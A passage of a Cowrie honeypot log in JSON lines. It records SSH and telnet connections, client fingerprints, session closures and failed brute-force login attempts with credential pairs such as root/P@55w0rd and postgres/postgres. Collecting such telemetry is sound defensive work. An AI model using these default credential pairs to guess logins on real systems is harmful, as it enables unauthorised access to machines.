stp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.328059Z","src_ip":"156.232.13.218","session":"04e61049edbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"administrator123","message":"login attempt [guest/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.657599Z","src_ip":"156.232.13.218","session":"04e61049edbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.746083Z","src_ip":"176.65.132.254","session":"e5cb3c428590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"admin123","message":"login attempt [jboss/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:13.928499Z","src_ip":"190.129.122.12","session":"f35c3e57d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.36080503463745,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:14.138544Z","src_ip":"62.210.97.77","session":"d8ef873d2ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:14.736974Z","src_ip":"156.232.13.218","session":"04e61049edbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.03595209121704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:14.882844Z","src_ip":"62.210.97.77","session":"97f8c289e3f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:15.105459Z","src_ip":"190.129.122.12","session":"f35c3e57d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33228,"dst_ip":"10.17.0.5","dst_port":22,"session":"28167eb8fcc8","protocol":"ssh","message":"New connection: 176.65.132.254:33228 (10.17.0.5:22) [session: 28167eb8fcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:16.506544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:16.511483Z","src_ip":"176.65.132.254","session":"28167eb8fcc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:16.598802Z","src_ip":"176.65.132.254","session":"28167eb8fcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.075806Z","src_ip":"176.65.132.254","session":"28167eb8fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.67015552520752,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.118885Z","src_ip":"62.210.97.77","session":"b08846c67641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":21260,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f491c2a271","protocol":"ssh","message":"New connection: 2.57.121.112:21260 (159.203.135.109:22) [session: 27f491c2a271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.656033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.661589Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.767968Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc1efd260cc6","protocol":"telnet","message":"New connection: 62.210.97.77:43824 (10.17.0.5:23) [session: fc1efd260cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.843304Z"}
{"eventid":"cowrie.session.closed","duration":33.8304603099823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:17.912974Z","src_ip":"62.210.97.77","session":"c8933d21c161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:18.160667Z","src_ip":"176.65.132.254","session":"28167eb8fcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140583","message":"login attempt [admin/140583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:18.262706Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ebb49e85f80","protocol":"telnet","message":"New connection: 62.210.97.77:54878 (10.17.0.5:23) [session: 9ebb49e85f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:18.667192Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140570","message":"login attempt [admin/140570] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:19.376057Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b356db54829","protocol":"telnet","message":"New connection: 62.210.97.77:54886 (10.17.0.5:23) [session: 1b356db54829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:19.558865Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e329bf6ecf24","protocol":"telnet","message":"New connection: 134.209.8.29:37452 (159.203.135.109:23) [session: e329bf6ecf24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:19.676935Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54888,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7a68d88ce4","protocol":"telnet","message":"New connection: 62.210.97.77:54888 (10.17.0.5:23) [session: af7a68d88ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:20.019270Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140569","message":"login attempt [admin/140569] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:20.487011Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33230,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f25f5272fb","protocol":"ssh","message":"New connection: 176.65.132.254:33230 (10.17.0.5:22) [session: f9f25f5272fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:20.848511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:20.853750Z","src_ip":"176.65.132.254","session":"f9f25f5272fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:20.939436Z","src_ip":"176.65.132.254","session":"f9f25f5272fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:21.185537Z","src_ip":"176.65.132.254","session":"f9f25f5272fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.886099576950073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:21.227952Z","src_ip":"62.210.97.77","session":"0d60817e9961","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14051974","message":"login attempt [admin/14051974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:21.600052Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:22.336684Z","src_ip":"176.65.132.254","session":"f9f25f5272fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14041973","message":"login attempt [admin/14041973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:22.709067Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.932252407073975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:23.265155Z","src_ip":"65.60.27.33","session":"a1fc2540db6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:23.818974Z","src_ip":"2.57.121.112","session":"27f491c2a271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.784634828567505,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:24.374054Z","src_ip":"62.210.97.77","session":"22464ccacbcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37696,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad1e875e517","protocol":"ssh","message":"New connection: 176.65.132.254:37696 (10.17.0.5:22) [session: 8ad1e875e517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:24.855030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:24.859888Z","src_ip":"176.65.132.254","session":"8ad1e875e517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:24.951443Z","src_ip":"176.65.132.254","session":"8ad1e875e517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54896,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b8a94b7f648","protocol":"telnet","message":"New connection: 62.210.97.77:54896 (10.17.0.5:23) [session: 4b8a94b7f648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:25.041019Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:25.244242Z","src_ip":"176.65.132.254","session":"8ad1e875e517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a17f3584d4","protocol":"telnet","message":"New connection: 62.210.97.77:54912 (10.17.0.5:23) [session: c7a17f3584d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:25.298620Z"}
{"eventid":"cowrie.session.closed","duration":32.78505539894104,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:25.669079Z","src_ip":"62.210.97.77","session":"cea02b2a6909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:26.340599Z","src_ip":"176.65.132.254","session":"8ad1e875e517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.48603105545044,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:28.197625Z","src_ip":"62.210.97.77","session":"6f15032723f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"c365bf541dd0","protocol":"telnet","message":"New connection: 62.210.97.77:43610 (10.17.0.5:23) [session: c365bf541dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:28.913455Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31ed648e597","protocol":"telnet","message":"New connection: 134.209.8.29:37624 (159.203.135.109:23) [session: c31ed648e597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.096193Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37704,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a2c80e00fac","protocol":"ssh","message":"New connection: 176.65.132.254:37704 (10.17.0.5:22) [session: 5a2c80e00fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.262787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.267199Z","src_ip":"176.65.132.254","session":"5a2c80e00fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.352262Z","src_ip":"176.65.132.254","session":"5a2c80e00fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.599710Z","src_ip":"176.65.132.254","session":"5a2c80e00fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43624,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f29a503a62c","protocol":"telnet","message":"New connection: 62.210.97.77:43624 (10.17.0.5:23) [session: 9f29a503a62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.743222Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab91966910f3","protocol":"telnet","message":"New connection: 62.210.97.77:43628 (10.17.0.5:23) [session: ab91966910f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:29.985143Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:30.686149Z","src_ip":"176.65.132.254","session":"5a2c80e00fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.669337034225464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.001960Z","src_ip":"62.210.97.77","session":"312e55e5880f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23fe3976b79","protocol":"telnet","message":"New connection: 62.210.97.77:43644 (10.17.0.5:23) [session: b23fe3976b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.111107Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43654,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ea4a313aa3","protocol":"telnet","message":"New connection: 62.210.97.77:43654 (10.17.0.5:23) [session: 95ea4a313aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.179543Z"}
{"eventid":"cowrie.session.closed","duration":45.17652940750122,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.793104Z","src_ip":"65.60.27.33","session":"59088109376f","protocol":"telnet"}
